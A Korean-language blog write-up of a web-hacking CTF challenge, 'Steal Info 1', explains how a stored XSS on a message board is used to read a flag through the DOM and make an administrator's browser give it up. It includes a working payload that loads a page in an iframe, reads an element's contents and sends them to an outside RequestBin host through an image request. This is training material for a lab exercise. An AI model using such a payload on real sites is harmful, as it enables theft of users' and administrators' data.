본문 바로가기
🚩CTF Write up

Steal Info 1 - SegFault Web Hacking CTF Write up

by Prof. Panda 2024. 1. 21.

CTF 문제의 목표

본 CTF 문제는 페이지의 구조를 파악하여 DOM을 활용해서 특정 위치의 HTML요소에 접근하여 XSS 공격을 통해 값을 받아내는 것입니다. 필요한 기술과 개념은 다음과 같습니다.

  • XSS에 대한 개념
  • Stored XSS 공격기법
  • 자바스크립트를 통해 DOM을 활용하여 웹의 특정 구성요소에 접근하는 방법
  • iframe 태그와 window.addEventListener 함수의 사용법과 이유
  • 이미지 태그와 RequestBin을 활용하여 데이터를 전송하는 방법

실습 환경

본 문제는 아래와 같은 환경과 도구를 통해 테스트하였습니다.

  • Windows 10
  • Burp Suite
  • RequestBin

풀이 단계

전체적인 실습 단계는 아래와 같습니다.

  1. XSS 취약점 위치 파악 및 POC 테스트
  2. mypage.html의 구조를 분석하여 flag가 나타나는 DOM 위치 파악
  3. 페이로드 테스트 및 정보 전송 여부 체크
  4. URL을 secret 페이지로 변경 후 관리자에게 접근

상세한 문제풀이

1) Stored XSS가 게시판에서 발생하는 것을 확인했습니다.

 

2) flag가 나타나는 위치에 어떻게 접근하는지 DOM을 통해 파악합니다.

DOM 접근 : document.getElementsByClassName('card-text')[1].innerHTML

 

3) 페이로드를 작성하고 전송 테스트를 합니다.

<iframe id="target" src="http://ctf.segfaulthub.com:4343/scriptPrac/mypage.html"></iframe>
<script>
window.addEventListener('DOMContentLoaded', function(){
	var i = new Image();
	mes=document.getElementById('target').contentDocument.getElementsByClassName('card-text')[1].innerHTML;
	i.src='https://engpiobmja68.x.pipedream.net/'+mes;
});
</script>

위 페이로드로 작성된 페이지에 접근하면
request Bin에 데이터가 전송되는 것을 확인할 수 있습니다.

4) 링크를 secret.php로 변경하고 저장한 다음 관리자가 접근하도록 합니다.

페이로드의 링크를 변경한 후 관리자에게 접근시킵니다.
관리자가 접근하면 flag가 전송됩니다.